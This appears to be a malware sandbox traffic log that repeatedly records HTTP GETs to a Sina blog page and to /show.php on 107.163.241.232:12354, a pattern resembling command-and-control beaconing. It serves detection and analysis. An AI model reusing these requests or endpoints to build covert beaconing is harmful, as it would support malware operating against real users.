Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
